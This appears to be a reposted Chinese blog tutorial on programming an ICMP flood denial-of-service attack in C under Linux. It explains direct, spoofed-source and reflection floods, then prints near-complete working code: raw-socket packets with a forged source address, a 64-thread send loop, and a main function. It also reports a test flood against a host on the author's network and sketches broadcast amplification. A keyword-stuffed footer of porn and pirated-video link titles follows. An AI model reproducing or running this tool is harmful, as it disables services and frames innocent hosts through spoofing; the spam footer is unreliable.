一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務(wù)器之家:專(zhuān)注于服務(wù)器技術(shù)及軟件下載分享
分類(lèi)導(dǎo)航

Linux|Centos|Ubuntu|系統(tǒng)進(jìn)程|Fedora|注冊(cè)表|Bios|Solaris|Windows7|Windows10|Windows11|windows server|

服務(wù)器之家 - 服務(wù)器系統(tǒng) - Linux - Linux編程之ICMP洪水攻擊

Linux編程之ICMP洪水攻擊

2022-01-24 17:28Madcola Linux

這篇文章主要為大家詳細(xì)介紹了Linux編程之ICMP洪水攻擊的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下

我的上一篇文章《linux編程之ping的實(shí)現(xiàn)》里使用icmp協(xié)議實(shí)現(xiàn)了ping的程序,icmp除了實(shí)現(xiàn)這么一個(gè)ping程序,還有哪些不為人知或者好玩的用途?這里我將介紹icmp另一個(gè)很有名的黑科技:icmp洪水攻擊。 

icmp洪水攻擊屬于大名鼎鼎的dos(denial of service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這里本著加深自己對(duì)icmp的理解的目的,也試著基于icmp寫(xiě)一段icmp的洪水攻擊小程序。 

洪水攻擊(flood attack)指的是利用計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)向目的主機(jī)發(fā)送大量無(wú)用數(shù)據(jù)報(bào)文,使得目的主機(jī)忙于處理無(wú)用的數(shù)據(jù)報(bào)文而無(wú)法提供正常服務(wù)的網(wǎng)絡(luò)行為。

icmp洪水攻擊:顧名思義,就是對(duì)目的主機(jī)發(fā)送洪水般的ping包,使得目的主機(jī)忙于處理ping包而無(wú)能力處理其他正常請(qǐng)求,這就好像是洪水一般的ping包把目的主機(jī)給淹沒(méi)了。 

要實(shí)現(xiàn)icmp的洪水攻擊,需要以下三項(xiàng)的知識(shí)儲(chǔ)備:

  • dos攻擊原理
  • icmp的深入理解
  • 原始套接字的編程技巧

一、icmp洪水攻擊原理

icmp洪水攻擊是在ping的基礎(chǔ)上形成的,但是ping程序很少能造成目的及宕機(jī)的問(wèn)題,這是因?yàn)閜ing的發(fā)送包的速率太慢了,像我實(shí)現(xiàn)的ping程序里ping包發(fā)送速率限定在1秒1發(fā),這個(gè)速率目的主機(jī)處理ping包還是綽綽有余的。所以要造成“洪水”的現(xiàn)象,就必須提升發(fā)包速率。這里介紹三種icmp洪水攻擊的方式: 

(1)直接洪水攻擊

這樣做需要本地主機(jī)的帶寬和目的主機(jī)的帶寬之間進(jìn)行比拼,比如我的主機(jī)網(wǎng)絡(luò)帶寬是30m的,而你的主機(jī)網(wǎng)絡(luò)帶寬僅為3m,那我發(fā)起洪水攻擊淹沒(méi)你的主機(jī)成功率就很大了。這種攻擊方式要求攻擊主機(jī)處理能力和帶寬要大于被攻擊主機(jī),否則自身被dos了。基于這種思想,我們可以使用一臺(tái)高帶寬高性能的電腦,采用多線(xiàn)程的方法一次性發(fā)送多個(gè)icmp請(qǐng)求報(bào)文,讓目的主機(jī)忙于處理大量這些報(bào)文而造成速度緩慢甚至宕機(jī)。這個(gè)方法有個(gè)大缺點(diǎn),就是對(duì)方可以根據(jù)icmp包的ip地址而屏蔽掉攻擊源,使得攻擊不能繼續(xù)。 

(2)偽ip攻擊

在直接洪水攻擊的基礎(chǔ)上,我們將發(fā)送方的ip地址偽裝成其他ip,如果是偽裝成一個(gè)隨機(jī)的ip,那就可以很好地隱藏自己的位置;如果將自己的ip偽裝成其他受害者的ip,就會(huì)造成“挑撥離間”的情形,受害主機(jī)1的icmp回復(fù)包也如洪水般發(fā)送給受害主機(jī)2,如果主機(jī)1的管理員要查是哪個(gè)混蛋發(fā)包攻擊自己,他一查icmp包的源地址,咦原來(lái)是主機(jī)2,這樣子主機(jī)2就成了戴罪羔羊了。 

(3)反射攻擊

這類(lèi)攻擊的思想不同于上面兩種攻擊,反射攻擊的設(shè)計(jì)更為巧妙。其實(shí)這里的方式三的攻擊模式是前兩個(gè)模式的合并版以及升級(jí)版,方式三的攻擊策略有點(diǎn)像“借刀殺人“,反射攻擊不再直接對(duì)目標(biāo)主機(jī),而是讓其他一群主機(jī)誤以為目標(biāo)主機(jī)在向他們發(fā)送icmp請(qǐng)求包,然后一群主機(jī)向目的主機(jī)發(fā)送icmp應(yīng)答包,造成來(lái)自四面八方的洪水淹沒(méi)目的主機(jī)的現(xiàn)象。比如我們向局域網(wǎng)的其他主機(jī)發(fā)送icmp請(qǐng)求包,然后自己的ip地址偽裝成目的主機(jī)的ip,這樣子目的主機(jī)就成了icmp回顯的焦點(diǎn)了。這種攻擊非常隱蔽,因?yàn)槭芎χ鳈C(jī)很難查出攻擊源是誰(shuí)。 

Linux編程之ICMP洪水攻擊

二、icmp洪水攻擊程序設(shè)計(jì)

這里我想實(shí)現(xiàn)一個(gè)icmp洪水攻擊的例子,這里我想采用方式二來(lái)進(jìn)行設(shè)計(jì)。雖說(shuō)方式三的“借刀殺人”更為巧妙,其實(shí)也是由方式二的偽裝方式進(jìn)一步延伸的,實(shí)現(xiàn)起來(lái)也是大同小異。 

首先給出攻擊的模型圖:

Linux編程之ICMP洪水攻擊

1.組icmp包

這里的組包跟編寫(xiě)ping程序時(shí)的組包沒(méi)太大差別,唯一需要注意的是,我們需要填寫(xiě)ip頭部分,因?yàn)槲覀円獋窝b源地址,做到嫁禍于人。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void dos_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));
 
  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(icmp_packet_size);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = proto_icmp;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(fake_ip);; //偽裝源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻擊的目的主機(jī)地址
 
  icmp_hdr->icmp_type = icmp_echo;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(icmp_echo << 8));
  //注意這里,因?yàn)閿?shù)據(jù)部分為0,我們就簡(jiǎn)化了一下checksum的計(jì)算了
}

2.搭建發(fā)包線(xiàn)程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void dos_attack()
{
  char* packet = (char*)malloc(icmp_packet_size);
  memset(packet, 0, icmp_packet_size);
  struct sockaddr_in to;
  dos_icmp_pack(packet);
 
  to.sin_family = af_inet;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);
 
  while(alive) //控制發(fā)包的全局變量
  {
    sendto(rawsock, packet, icmp_packet_size, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));   
  }
 
  free(packet); //記得要釋放內(nèi)存
}

3.編寫(xiě)發(fā)包開(kāi)關(guān)

這里的開(kāi)關(guān)很簡(jiǎn)單,用信號(hào)量+全局變量即可以實(shí)現(xiàn)。當(dāng)我們按下ctrl+c時(shí),攻擊將關(guān)閉。

?
1
2
3
4
5
void dos_sig()
{
  alive = 0;
  printf("stop dos attack!\n");
}

 4.總的架構(gòu)

我們使用了64個(gè)線(xiàn)程一起發(fā)包,當(dāng)然這個(gè)線(xiàn)程數(shù)還可以大大增加,來(lái)增加攻擊強(qiáng)度。但我們只是做做實(shí)驗(yàn),沒(méi)必要搞那么大。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
int main(int argc, char* argv[])
{
  struct hostent* host = null;
  struct protoent* protocol = null;
  int i;
  alive = 1;
  pthread_t attack_thread[thread_max_num]; //開(kāi)64個(gè)線(xiàn)程同時(shí)發(fā)包 
  int err = 0;
 
  if(argc < 2)
  {
    printf("invalid input!\n");
    return -1;
  }
 
  signal(sigint, dos_sig);
 
  protocol = getprotobyname(proto_name);
  if(protocol == null)
  {
    printf("fail to getprotobyname!\n");
    return -1;
  }
 
  proto_icmp = protocol->p_proto;
 
  dest = inet_addr(argv[1]);
 
  if(dest == inaddr_none)
  {
    host = gethostbyname(argv[1]);
    if(host == null)
    {
      printf("invalid ip or domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);
 
  }
 
  rawsock = socket(af_inet, sock_raw, proto_icmp);
  if(rawsock < 0)
  {
    printf("fait to create socket!\n");
    return -1;
  }
 
  setsockopt(rawsock, sol_ip, ip_hdrincl, "1", sizeof("1"));
 
  printf("icmp flood attack start\n");
 
  for(i=0;i<thread_max_num;i++)
  {
    err = pthread_create(&(attack_thread[i]), null, (void*)dos_attack, null);
    if(err)
    {
      printf("fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);     
    }
  }
 
  for(i=0;i<thread_max_num;i++)
  {
    pthread_join(attack_thread[i], null);  //等待線(xiàn)程結(jié)束
  }
 
  printf("icmp attack finishi!\n");
 
  close(rawsock);
 
  return 0;
}

三、實(shí)驗(yàn)

本次實(shí)驗(yàn)本著學(xué)習(xí)的目的,想利用自己手上的設(shè)備,想進(jìn)一步理解網(wǎng)絡(luò)和協(xié)議的應(yīng)用,所以攻擊的幅度比較小,時(shí)間也就幾秒,不對(duì)任何設(shè)備造成影響。 

再說(shuō)一下我們的攻擊步驟:我們使用主機(jī)172.0.5.183作為自己的攻擊主機(jī),并將自己偽裝成主機(jī)172.0.5.182,對(duì)主機(jī)172.0.5.9發(fā)起icmp洪水攻擊。

攻擊開(kāi)始

Linux編程之ICMP洪水攻擊

我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到并交付上層處理的包也高達(dá)7萬(wàn)多個(gè)了。我也不敢多搞事,避免影響機(jī)器工作。

Linux編程之ICMP洪水攻擊

使用wireshark抓包再瞧一瞧,滿(mǎn)滿(mǎn)的icmp包啊,看來(lái)量也是很大的。icmp包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機(jī)172.0.5.182肯定會(huì)想,莫名其妙啊,怎么收到這么多echo reply包。

Linux編程之ICMP洪水攻擊

攻擊實(shí)驗(yàn)做完了。  

現(xiàn)在更為流行的是ddos攻擊,其威力更為強(qiáng)悍,策略更為精巧,防御難度也更加高。
其實(shí),這種ddos攻擊也是在dos的基礎(chǔ)上發(fā)起的,具體步驟如下: 

    1. 攻擊者向“放大網(wǎng)絡(luò)”廣播echo request報(bào)文
    2. 攻擊者指定廣播報(bào)文的源ip為被攻擊主機(jī)
    3. “放大網(wǎng)絡(luò)”回復(fù)echo reply給被攻擊主機(jī)
    4. 形成ddos攻擊場(chǎng)景 

這里的“放大網(wǎng)絡(luò)”可以理解為具有很多主機(jī)的網(wǎng)絡(luò),這些主機(jī)的操作系統(tǒng)需要支持對(duì)目的地址為廣播地址的某種icmp請(qǐng)求數(shù)據(jù)包進(jìn)行響應(yīng)。 

攻擊策略很精妙,簡(jiǎn)而言之,就是將源地址偽裝成攻擊主機(jī)的ip,然后發(fā)廣播的給所有主機(jī),主機(jī)們收到該echo request后集體向攻擊主機(jī)回包,造成群起而攻之的情景。

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持服務(wù)器之家。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 国产123区在线视频观看 | 欧美成人福利视频 | 成人在线日韩 | 国产日韩一区二区 | 大桥未久aⅴ一区二区 | 四虎精品免费国产成人 | 十六以下岁女子毛片免费 | 国产精品微拍 | 亚洲高清国产拍精品影院 | 免费黄色片在线观看 | 精品国产福利在线观看一区 | 青青草精品在线观看 | 西西人体大胆啪啪私拍色约约 | 日本精品vide·ssex日本 | 人禽l交视频在线播放 视频 | 沉香如屑西瓜视频免费观看完整版 | 黑帮少爷爱上我第8集在线观看 | 1769在线观看 | 欧美激情影音先锋 | 亚洲女同在线观看 | 精品人伦一区二区三区潘金莲 | 国产成人无精品久久久 | 亚洲va久久久久综合 | 黄动漫车车好快的车车a | 午夜大片在线观看 | 亚洲国产精品网 | 免费高清视频免费观看 | 亚洲一二三区视频 | 亚洲男人的天堂网 | 视频一区二区 村上凉子 | 夫妻性生活在线 | 国产欧美va欧美va香蕉在线观 | 被强上后我成瘾了小说 | a级黄色网| 高h短篇校园1v1 | 农夫69小说小雨与农村老太 | 无码专区aaaaaa免费视频 | bl双性小说 | 日本人成动漫网站在线观看 | 精品第一国产综合精品蜜芽 | free哆拍拍免费永久视频 |